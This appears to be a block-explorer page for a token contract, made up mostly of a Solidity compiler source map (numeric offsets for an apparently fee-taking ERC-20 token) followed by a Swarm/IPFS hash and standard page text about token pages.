85:0;5088:401:1;11126:85:0;11247:60;11256:5;11263:7;11291:15;11272:16;:34;11247:8;:60::i;7995:193::-;8074:4;405:10;8130:28;405:10;8147:2;8151:6;8130:9;:28::i;19400:152::-;993:13;:11;:13::i;:::-;19491:7:::1;:20:::0;;;;19522:8:::1;:22:::0;19400:152::o;19655:217::-;993:13;:11;:13::i;:::-;19714:10:::1;::::0;:15;19706:64:::1;;;::::0;-1:-1:-1;;;19706:64:0;;5696:2:1;19706:64:0::1;::::0;::::1;5678:21:1::0;5735:2;5715:18;;;5708:30;5774:34;5754:18;;;5747:62;-1:-1:-1;;;5825:18:1;;;5818:34;5869:19;;19706:64:0::1;5494:400:1::0;19706:64:0::1;19794:12;19781:10;:25:::0;19817:11:::1;:18:::0;;-1:-1:-1;;;;19846:18:0;-1:-1:-1;;;19846:18:0;;;19655:217::o;8251:151::-;-1:-1:-1;;;;;8367:18:0;;;8340:7;8367:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8251:151::o;20497:187::-;20603:9;;20570:4;;20603:9;;;-1:-1:-1;;;;;20603:9:0;20623:31;20631:7;20603:9;20647:6;20623:7;:31::i;2006:201::-;993:13;:11;:13::i;:::-;-1:-1:-1;;;;;2095:22:0;::::1;2087:73;;;::::0;-1:-1:-1;;;2087:73:0;;6101:2:1;2087:73:0::1;::::0;::::1;6083:21:1::0;6140:2;6120:18;;;6113:30;6179:34;6159:18;;;6152:62;-1:-1:-1;;;6230:18:1;;;6223:36;6276:19;;2087:73:0::1;5899:402:1::0;2087:73:0::1;2171:28;2190:8;2171:18;:28::i;:::-;2006:201:::0;:::o;14907:346::-;-1:-1:-1;;;;;15009:19:0;;15001:68;;;;-1:-1:-1;;;15001:68:0;;6508:2:1;15001:68:0;;;6490:21:1;6547:2;6527:18;;;6520:30;6586:34;6566:18;;;6559:62;-1:-1:-1;;;6637:18:1;;;6630:34;6681:19;;15001:68:0;6306:400:1;15001:68:0;-1:-1:-1;;;;;15088:21:0;;15080:68;;;;-1:-1:-1;;;15080:68:0;;6913:2:1;15080:68:0;;;6895:21:1;6952:2;6932:18;;;6925:30;6991:34;6971:18;;;6964:62;-1:-1:-1;;;7042:18:1;;;7035:32;7084:19;;15080:68:0;6711:398:1;15080:68:0;-1:-1:-1;;;;;15161:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15213:32;;1361:25:1;;;15213:32:0;;1334:18:1;15213:32:0;;;;;;;14907:346;;;:::o;15558:419::-;15659:24;15686:25;15696:5;15703:7;15686:9;:25::i;:::-;15659:52;;-1:-1:-1;;15726:16:0;:37;15722:248;;15808:6;15788:16;:26;;15780:68;;;;-1:-1:-1;;;15780:68:0;;7316:2:1;15780:68:0;;;7298:21:1;7355:2;7335:18;;;7328:30;7394:31;7374:18;;;7367:59;7443:18;;15780:68:0;7114:353:1;15780:68:0;15892:51;15901:5;15908:7;15936:6;15917:16;:25;15892:8;:51::i;:::-;15648:329;15558:419;;;:::o;21141:3421::-;-1:-1:-1;;;;;21273:18:0;;21265:68;;;;-1:-1:-1;;;21265:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;21352:16:0;;21344:64;;;;-1:-1:-1;;;21344:64:0;;;;;;;:::i;:::-;21436:1;21427:6;:10;21419:52;;;;-1:-1:-1;;;21419:52:0;;8484:2:1;21419:52:0;;;8466:21:1;8523:2;8503:18;;;8496:30;8562:31;8542:18;;;8535:59;8611:18;;21419:52:0;8282:353:1;21419:52:0;21486:15;;-1:-1:-1;;;21486:15:0;;;;21482:1761;;;1180:6;;-1:-1:-1;;;;;21540:15:0;;;1180:6;;21540:15;;;;:49;;-1:-1:-1;1180:6:0;;-1:-1:-1;;;;;21576:13:0;;;1180:6;;21576:13;;21540:49;:86;;;;-1:-1:-1;;;;;;21610:16:0;;;;21540:86;:128;;;;-1:-1:-1;;;;;;21647:21:0;;21661:6;21647:21;;21540:128;21518:1714;;;21708:11;;-1:-1:-1;;;21708:11:0;;;;21703:335;;-1:-1:-1;;;;;21778:26:0;;;;;;:20;:26;;;;;;;;;:83;;-1:-1:-1;;;;;;21837:24:0;;;;;;:20;:24;;;;;;;;21778:83;21744:198;;;;-1:-1:-1;;;21744:198:0;;8842:2:1;21744:198:0;;;8824:21:1;8881:2;8861:18;;;8854:30;8920:31;8900:18;;;8893:59;8969:18;;21744:198:0;8640:353:1;21744:198:0;1180:6;;-1:-1:-1;;;;;21973:15:0;;;1180:6;;21973:15;21965:53;;;;-1:-1:-1;;;21965:53:0;;9200:2:1;21965:53:0;;;9182:21:1;9239:2;9219:18;;;9212:30;9278:27;9258:18;;;9251:55;9323:18;;21965:53:0;8998:349:1;21965:53:0;22118:8;-1:-1:-1;;;;;22110:16:0;:4;-1:-1:-1;;;;;22110:16:0;;:45;;;;-1:-1:-1;;;;;;22131:24:0;;;;;;:20;:24;;;;;;;;22130:25;22110:45;22084:1133;;;22242:10;;22232:6;:20;;22198:153;;;;-1:-1:-1;;;22198:153:0;;9554:2:1;22198:153:0;;;9536:21:1;9593:2;9573:18;;;9566:30;9632:34;9612:18;;;9605:62;-1:-1:-1;;;9683:18:1;;;9676:45;9738:19;;22198:153:0;9352:411:1;22198:153:0;22434:12;;-1:-1:-1;;;;;7763:18:0;;7736:7;7763:18;;;;;;;;;;;22408:22;;:6;:22;:::i;:::-;:38;;22374:155;;;;-1:-1:-1;;;22374:155:0;;9970:2:1;22374:155:0;;;9952:21:1;10009:2;9989:18;;;9982:30;10048:33;10028:18;;;10021:61;10099:18;;22374:155:0;9768:355:1;22374:155:0;22084:1133;;;22633:8;-1:-1:-1;;;;;22627:14:0;:2;-1:-1:-1;;;;;22627:14:0;;:45;;;;-1:-1:-1;;;;;;22646:26:0;;;;;;:20;:26;;;;;;;;22645:27;22627:45;22601:616;;;22759:10;;22749:6;:20;;22715:155;;;;-1:-1:-1;;;22715:155:0;;10330:2:1;22715:155:0;;;10312:21:1;10369:2;10349:18;;;10342:30;10408:34;10388:18;;;10381:62;-1:-1:-1;;;10459:18:1;;;10452:47;10516:19;;22715:155:0;10128:413:1;22601:616:0;-1:-1:-1;;;;;22923:24:0;;;;;;:20;:24;;;;;;;;22922:25;:77;;;;-1:-1:-1;;;;;;22973:26:0;;;;;;:20;:26;;;;;;;;22972:27;22922:77;22896:321;;;23102:12;;-1:-1:-1;;;;;7763:18:0;;7736:7;7763:18;;;;;;;;;;;23076:22;;:6;:22;:::i;:::-;:38;;23042:155;;;;-1:-1:-1;;;23042:155:0;;9970:2:1;23042:155:0;;;9952:21:1;10009:2;9989:18;;;9982:30;10048:33;10028:18;;;10021:61;10099:18;;23042:155:0;9768:355:1;23042:155:0;23302:4;23253:28;7763:18;;;;;;;;;;;23358:10;;23334:34;;;;;;;23397:35;;-1:-1:-1;23421:11:0;;-1:-1:-1;;;23421:11:0;;;;23397:35;:61;;;;-1:-1:-1;23450:8:0;;;;23449:9;23397:61;:97;;;;;23484:10;;23475:6;:19;23397:97;:134;;;;;23522:8;-1:-1:-1;;;;;23514:16:0;:4;-1:-1:-1;;;;;23514:16:0;;23512:19;23397:134;:177;;;;-1:-1:-1;;;;;;23549:25:0;;;;;;:19;:25;;;;;;;;23548:26;23397:177;:218;;;;-1:-1:-1;;;;;;23592:23:0;;;;;;:19;:23;;;;;;;;23591:24;23397:218;23379:356;;;23642:8;:15;;-1:-1:-1;;23642:15:0;23653:4;23642:15;;;23672:20;:18;:20::i;:::-;23707:8;:16;;-1:-1:-1;;23707:16:0;;;23379:356;-1:-1:-1;;;;;23779:25:0;;23745:12;23779:25;;;:19;:25;;;;;;23760:4;;23779:25;;;:52;;-1:-1:-1;;;;;;23808:23:0;;;;;;:19;:23;;;;;;;;23779:52;23775:100;;;-1:-1:-1;23858:5:0;23775:100;23885:12;23916:7;23912:599;;;23943:13;;-1:-1:-1;;;23943:13:0;;;;23940:68;;;23975:16;:14;:16::i;:::-;24053:8;-1:-1:-1;;;;;24047:14:0;:2;-1:-1:-1;;;;;24047:14:0;;:30;;;;;24076:1;24065:8;;:12;24047:30;24043:323;;;24127:3;24115:8;;24106:6;:17;;;;:::i;:::-;24105:25;;;;:::i;:::-;24098:32;;24165:4;24149:12;;:20;;;;;;;:::i;:::-;;;;-1:-1:-1;24043:323:0;;-1:-1:-1;24043:323:0;;24236:8;-1:-1:-1;;;;;24228:16:0;:4;-1:-1:-1;;;;;24228:16:0;;:31;;;;;24258:1;24248:7;;:11;24228:31;24224:142;;;24308:3;24297:7;;24288:6;:16;;;;:::i;:::-;24287:24;;;;:::i;:::-;24280:31;;24346:4;24330:12;;:20;;;;;;;:::i;:::-;;;;-1:-1:-1;;24224:142:0;24384:8;;24380:91;;24413:42;24429:4;24443;24450;24413:15;:42::i;:::-;24485:14;24495:4;24485:14;;:::i;:::-;;;23912:599;24521:33;24537:4;24543:2;24547:6;24521:15;:33::i;:::-;21254:3308;;;;21141:3421;;;:::o;1272:132::-;1180:6;;-1:-1:-1;;;;;1180:6:0;405:10;1336:23;1328:68;;;;-1:-1:-1;;;1328:68:0;;11276:2:1;1328:68:0;;;11258:21:1;;;11295:18;;;11288:30;11354:34;11334:18;;;11327:62;11406:18;;1328:68:0;11074:356:1;2367:191:0;2460:6;;;-1:-1:-1;;;;;2477:17:0;;;-1:-1:-1;;;;;;2477:17:0;;;;;;;2510:40;;2460:6;;;2477:17;2460:6;;2510:40;;2441:16;;2510:40;2430:128;2367:191;:::o;15261:289::-;-1:-1:-1;;;;;15376:19:0;;15368:28;;;;;;-1:-1:-1;;;;;15415:21:0;;15407:30;;;;;18539:460;18632:4;18588:23;7763:18;;;;;;;;;;;18675:12;;18704:20;;;:41;;-1:-1:-1;18728:17:0;;18704:41;18700:80;;;18762:7;;18539:460::o;18700:80::-;18814:10;;18796:15;:28;18792:89;;;18859:10;;18841:28;;18792:89;18895:33;18912:15;18895:16;:33::i;:::-;18949:9;;18941:50;;-1:-1:-1;;;;;18949:9:0;;;;;;;;;18969:21;18941:50;;;;;;;;;18969:21;18949:9;18941:50;;;;;;;;;;;;;;;;;;;;;18577:422;;18539:460::o;19878:441::-;19959:1;19946:10;;:14;19924:67;;;;-1:-1:-1;;;19924:67:0;;11637:2:1;19924:67:0;;;11619:21:1;11676:2;11656:18;;;11649:30;-1:-1:-1;;;11695:18:1;;;11688:46;11751:18;;19924:67:0;11435:340:1;19924:67:0;20075:10;;20025:12;;20002:20;;20075:14;;20088:1;20075:14;:::i;:::-;20048:41;;20119:16;20103:12;:32;20100:211;;20162:2;20152:7;:12;;;20179:8;:13;19913:406;;19878:441::o;20100:211::-;20235:1;20225:7;:11;;;20251:8;:12;20278:13;:21;;-1:-1:-1;;;;20278:21:0;;;19913:406;;19878:441::o;11820:806::-;-1:-1:-1;;;;;11917:18:0;;11909:68;;;;-1:-1:-1;;;11909:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11996:16:0;;11988:64;;;;-1:-1:-1;;;11988:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12138:15:0;;12116:19;12138:15;;;;;;;;;;;12172:21;;;;12164:72;;;;-1:-1:-1;;;12164:72:0;;11982:2:1;12164:72:0;;;11964:21:1;12021:2;12001:18;;;11994:30;12060:34;12040:18;;;12033:62;-1:-1:-1;;;12111:18:1;;;12104:36;12157:19;;12164:72:0;11780:402:1;12164:72:0;-1:-1:-1;;;;;12272:15:0;;;:9;:15;;;;;;;;;;;12290:20;;;12272:38;;12490:13;;;;;;;;;;:23;;;;;;12542:26;;1361:25:1;;;12490:13:0;;12542:26;;1334:18:1;12542:26:0;;;;;;;12581:37;18539:460;19005:389;19095:16;;;19109:1;19095:16;;;;;;;;19071:21;;19095:16;;;;;;;;;;-1:-1:-1;19095:16:0;19071:40;;19140:4;19122;19127:1;19122:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;19122:23:0;;;-1:-1:-1;;;;;19122:23:0;;;;;17499:42;-1:-1:-1;;;;;19166:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19156:4;19161:1;19156:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19156:26:0;;;:7;;;;;;;;;;;:26;19195:191;;-1:-1:-1;;;19195:191:0;;17499:42;;19195:60;;:191;;19270:11;;19296:1;;19313:4;;19340;;19360:15;;19195:191;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19060:334;19005:389;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2486:416::-;2551:6;2559;2612:2;2600:9;2591:7;2587:23;2583:32;2580:52;;;2628:1;2625;2618:12;2580:52;2667:9;2654:23;2686:31;2711:5;2686:31;:::i;:::-;2736:5;-1:-1:-1;2793:2:1;2778:18;;2765:32;2835:15;;2828:23;2816:36;;2806:64;;2866:1;2863;2856:12;2806:64;2889:7;2879:17;;;2486:416;;;;;:::o;2907:247::-;2966:6;3019:2;3007:9;2998:7;2994:23;2990:32;2987:52;;;3035:1;3032;3025:12;2987:52;3074:9;3061:23;3093:31;3118:5;3093:31;:::i;:::-;3143:5;2907:247;-1:-1:-1;;;2907:247:1:o;3159:248::-;3227:6;3235;3288:2;3276:9;3267:7;3263:23;3259:32;3256:52;;;3304:1;3301;3294:12;3256:52;-1:-1:-1;;3327:23:1;;;3397:2;3382:18;;;3369:32;;-1:-1:-1;3159:248:1:o;3642:388::-;3710:6;3718;3771:2;3759:9;3750:7;3746:23;3742:32;3739:52;;;3787:1;3784;3777:12;3739:52;3826:9;3813:23;3845:31;3870:5;3845:31;:::i;:::-;3895:5;-1:-1:-1;3952:2:1;3937:18;;3924:32;3965:33;3924:32;3965:33;:::i;4035:380::-;4114:1;4110:12;;;;4157;;;4178:61;;4232:4;4224:6;4220:17;4210:27;;4178:61;4285:2;4277:6;4274:14;4254:18;4251:38;4248:161;;4331:10;4326:3;4322:20;4319:1;4312:31;4366:4;4363:1;4356:15;4394:4;4391:1;4384:15;4248:161;;4035:380;;;:::o;4420:127::-;4481:10;4476:3;4472:20;4469:1;4462:31;4512:4;4509:1;4502:15;4536:4;4533:1;4526:15;4552:125;4617:9;;;4638:10;;;4635:36;;;4651:18;;:::i;7472:401::-;7674:2;7656:21;;;7713:2;7693:18;;;7686:30;7752:34;7747:2;7732:18;;7725:62;-1:-1:-1;;;7818:2:1;7803:18;;7796:35;7863:3;7848:19;;7472:401::o;7878:399::-;8080:2;8062:21;;;8119:2;8099:18;;;8092:30;8158:34;8153:2;8138:18;;8131:62;-1:-1:-1;;;8224:2:1;8209:18;;8202:33;8267:3;8252:19;;7878:399::o;10546:168::-;10619:9;;;10650;;10667:15;;;10661:22;;10647:37;10637:71;;10688:18;;:::i;10719:217::-;10759:1;10785;10775:132;;10829:10;10824:3;10820:20;10817:1;10810:31;10864:4;10861:1;10854:15;10892:4;10889:1;10882:15;10775:132;-1:-1:-1;10921:9:1;;10719:217::o;10941:128::-;11008:9;;;11029:11;;;11026:37;;;11043:18;;:::i;12319:127::-;12380:10;12375:3;12371:20;12368:1;12361:31;12411:4;12408:1;12401:15;12435:4;12432:1;12425:15;12451:251;12521:6;12574:2;12562:9;12553:7;12549:23;12545:32;12542:52;;;12590:1;12587;12580:12;12542:52;12622:9;12616:16;12641:31;12666:5;12641:31;:::i;12707:980::-;12969:4;13017:3;13006:9;13002:19;13048:6;13037:9;13030:25;13074:2;13112:6;13107:2;13096:9;13092:18;13085:34;13155:3;13150:2;13139:9;13135:18;13128:31;13179:6;13214;13208:13;13245:6;13237;13230:22;13283:3;13272:9;13268:19;13261:26;;13322:2;13314:6;13310:15;13296:29;;13343:1;13353:195;13367:6;13364:1;13361:13;13353:195;;;13432:13;;-1:-1:-1;;;;;13428:39:1;13416:52;;13523:15;;;;13488:12;;;;13464:1;13382:9;13353:195;;;-1:-1:-1;;;;;;;13604:32:1;;;;13599:2;13584:18;;13577:60;-1:-1:-1;;;13668:3:1;13653:19;13646:35;13565:3;12707:980;-1:-1:-1;;;12707:980:1:o

Swarm Source

ipfs://ec5f079f99fba750fa6e5f51b0eadfd5bb59c9ee772b7de48398ca18fdebae96
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.